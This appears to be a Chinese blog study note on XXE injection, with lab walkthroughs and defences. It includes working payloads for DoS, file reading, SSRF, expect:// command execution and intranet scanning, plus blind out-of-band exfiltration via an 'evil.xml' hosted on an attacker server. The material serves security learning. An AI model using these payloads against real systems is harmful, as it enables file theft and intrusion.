XXE学习笔记

XXE学习笔记

XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。DTD 可以在 XML 文档内声明,也可以外部引用。

内部实体和外部实体

实体叫ENTITY,实体的作用是避免重复输入。

在XML中,有5个预定义的实体引用

image-20230925094959186

内部DTD

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

外部DTD

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

通用实体和参数实体

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

参数实体:

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

注意:

参数实体在我们 Blind XXE 中起到了至关重要的作用

什么是XXE

介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞

image-20230925093122863

既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了 XXE

XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时,通过恶意构造,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明,也可以外部引用;libxml2.9.1及以后,默认不再解析外部实体。

XXE检测

主要的方法是检测所有接受XML作为输入内容端点,抓包观察其是否会返回我们想要的内容。

如图,首先检测XML是否会被成功解析:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>

如果数据包或页面中存在“Hello XXE”的字样,则表名实体已被解析。

image-20230925140200265

接下来检测该端点是否支持DTD引用外部实体:

<?xml version=”1.0” encoding=”UTF-8”?><!DOCTYPE ANY [<!ENTITY % name SYSTEM "http://192.168.1.116/test.xml">%name;]>

此时通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的HTTP request。

image-20230925140936724

如图所示,则该处很可能存在XML外部实体注入漏洞。

另外,许多服务端开发框架(比如基于RESTful服务的JAX-RS)也允许基于数据交换的XML格式作为输入,甚至是输出。如果可以进行这种替换,可以通过修改请求头中的Content-Type的值(比如修改成text/xml或者application/xml)来进行验证触发。即使客户端只能使用JSON格式或者是直接路径或者是参数查询的方式来访问服务。

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。这块知识在下面的XXE攻击中有详细介绍。

攻击方式

1. 拒绝服务攻击

支持实体测试:

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

2. 文件读取

文件读取的利用和payload非常好理解,即使用file协议读取文件内容,并输出到页面上(有回显的情况)。

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">			#<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
]>
<data>&file;</data>

3. SSRF

XXE 可以与SSRF(服务端请求伪造) 漏洞一起用于探测其它内网主机的信息,基于http协议。

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

当然也可以用来探测端口信息,根据响应包的信息,若非“connection refused”则表示该端口可能是开放的。

众所周知,有些企业对内网的安全性可能不那么注重。除了以上的利用,控制服务器对外网发送请求也是有可能成功的。此处可使用ncat工具进行测试。关于NetCat的使用:NetCat-网络工具中的‘瑞士军刀’

用NetCat在自己的服务器上开启监听:nc -lvkp 8081(端口可自定义)

之后便可使用以下语句尝试是否能够建立连接:

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [  <!ELEMENT data (#PCDATA)>  ]><data>4</data>

如果能够建立连接,那么服务器端的NetCat会收到相应的请求信息。

4. RCE

在安装expect扩展的PHP环境里执行系统命令,当然其他协议也有可能可以执行系统命令

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

5. XInclude

什么是XInclude? 顾名思义,xinclude可以理解为xml include

熟悉编译/脚本语言的一定熟知,像php的include,python和java的import都是可以进行文件包含的。

那么文件包含有什么好处?

当然是可以使代码更整洁,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就避免了重复冗余的函数定义,同样可以增加代码的可读性。故此,xinclude也不例外,它是xml标记语言中包含其他文件的方式。

一些应用程序接收客户端提交的数据,会将其嵌入到服务器端XML文档中,然后解析文档。当客户端提交的数据被放置到后端SOAP(简单对象访问协议)请求中,然后由后端SOAP服务处理时,就会出现这种情况。

在这种情况下,我们不能执行典型的XXE攻击,因为无法控制整个XML文档,因此不能定义或修改DOCTYPE元素。但是,我们可以使用XInclude代替。XInclude是XML规范的一部分,它允许从子文档构建XML文档。我们可以在XML文档中的任何数据值中放置XInclude攻击,因此可以在只控制放在服务器端XML文档中的单个数据项的情况下执行攻击。

要执行XInclude攻击,需要引用XInclude名称空间并提供希望包含的文件的路径。例如:

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

详细的利用请参考: 浅析xml之xinclude & xslt

6.内网探测

xxe 由于可以访问外部 url,也就有类似 ssrf 的攻击效果,同样的,也可以利用 xxe 来进行内网探测。

可以先通过 file 协议读取一些配置文件来判断内网的配置以及规模,以便于编写脚本来探测内网。

一个 python 脚本实例:

import requests
import base64


#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>

def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""

    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""

    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""

    xml = xml + "\r\n" + """<xml>"""

    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""

    xml = xml + "\r\n" + """</xml>"""

    send_xml(xml)

def send_xml(xml):

    headers = {'Content-Type': 'application/xml'}

    x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text

    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value

    print coded_string

#   print base64.b64decode(coded_string)

for i in range(1, 255):

    try:

        i = str(i)

        ip = '192.168.1.' + i

        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'

        print string

        build_xml(string)

    except:

      print "error"

continue

7.Blind XXE(常见)

Blind XXE,字面意思也就是提交xml的服务器端点不再返回有效的数据,此时我们前面的一些利用方法就要失效了。但是解决方法还是有的。

XXE OOB(外带数据通道)

概念

带外数据(out—of—band data),有时也称为加速数据(expedited data), 是指连接双方中的一方发生重要事情,想要迅速地通知对方。这种通知在已经排队等待发送的任何“普通”(有时称为“带内”)数据之前发送。带外数据设计为比普通数据有更高的优先级。带外数据是映射到现有的连接中的,而不是在客户机和服务器间再用一个连接。

利用

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。但有些情况下不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///C:/1.txt"><!ENTITY % remote SYSTEM "http://remotevps/evil.xml">%remote;%all;]><root>&send;</root>

evil.xml:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/1.php?file=%file;'>">

实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。当请求发送以后,攻击者的服务器上就能查看到1.txt中的内容。

防御方法:

  1. 禁用外部实体
  2. 过滤和验证用户提交的XML数据
  3. 不允许XML中含有任何自己声明的DTD
  4. 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可

绕过方法

请参考绕过WAF保护的XXE

靶场练习

pikachu

探测是否存在xxe

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>
image-20230925140200265

判断是否支持外部实体

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

查看c:/windows/win.ini的内容

image-20230925143748432

支持外部实体!那么可以尝试利用xxe读取文件。

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/pikachu/vul/rce/rce.php" > ]> 				//这个路径只支持绝对路径
<foo>&xxe;</foo>
image-20230925144044483

base64解码

image-20230925144106674

xxe-lab

直接看源码,发现JavaScirpt脚本会将用户输入的username和password转化成xml格式的数据,并且利用ajax的方法提交,提交时xml格式的数据被当作Post数据包的内容进行提交。

image-20230925150155442

来到ajax的目标doLogin.php文件,该文件源码如下所示:

<?php

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档

try{
    $dom = new DOMDocument();//创建XML的对象
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。
    $creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档

    $username = $creds->username;//获取username标签的值
    $password = $creds->password;//获取password标签的值

    if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。...
        $result = sprintf('<result><code>%d</code><msg>%s</msg></result>',1,$username);//注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了
    }else{
        $result = sprintf('<result><code>%d</code><msg>%s</msg></result>',0,$username);//与上方相同,都会输出username的值,都可以达到我们的目的
    }    
}catch(Exception $e){
    $result = sprintf('<result><code>%d</code><msg>%s</msg></result>',3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

在该PHP文件中,主要是接收POST请求的内容, 并将其转化为XML对象,然后提取XML对象中的username和password字段。然后比对username和password是否相等。注意,在这个靶场中if else语句逻辑似乎出现了错误,相等时result返回的结果应该是0,而不相等时result返回的结果应该是1。

在上述代码中,关键函数如下:

1、libxml_disable_entity_loader(False)

这段代码意思是设置允许PHP加载外部实体,这也是本靶场的漏洞产生主要原因。在生产环境下,需要将这里的False改为True,即可避免产生XXE漏洞。

2、loadXML()

该函数可以将一个输入的字符串转化为DOMDocument对象。

3、simplexml_import_dom

该函数可以把DOM节点转化为SimpleXMLElement对象。

OK,靶场开始

image-20230925150641152

有回显XXE

<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY abc SYSTEM "file:///c:/windows/system.ini">
]>
<user><username>&abc;</username><password>admin</password></user>
image-20230925151536972

这里我们用外部实体来进行文件读取,当然还有其他的利用方式,如:端口扫描,拒绝服务攻击,命令执行等,我们这里先不演示了

无回显的XXE

大致思路是这样的:

我们可以写两个外部参数实体,第一个用来请求本地数据内容,第二个用 http 协议或者其他协议把请求到的数据作为参数带到我们的 vps,这样就实现了数据外带了。
我们将源码的输出代码注释掉,将错误信息也不显示

image-20230925152258404

当我们继续运行上面的内容,没有回显

image-20230925152452125

我们构造外部实体

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.1.116/evil.xml">
%dtd;
%send;
]>

远端服务器上要建evil.xml

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.1.116/a.php?content=%file;'>"> %payload;
image-20230925153008322 image-20230925153014407

之所以要把“%”转成 html 实体编码是因为在实体的值中不能有“%”,所以也就只能转成&#x25了。

portswigger靶场

WP请参考

vulnhub-xxe

由于本机是amd cpu,环境不兼容,WP请参考https://www.cnblogs.com/chu-jian/p/17501124.html

参考文章

https://websec.readthedocs.io/zh/latest/vuln/xxe.html

https://www.secpulse.com/archives/189161.html

https://xz.aliyun.com/t/12325

https://zhuanlan.zhihu.com/p/389550468

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值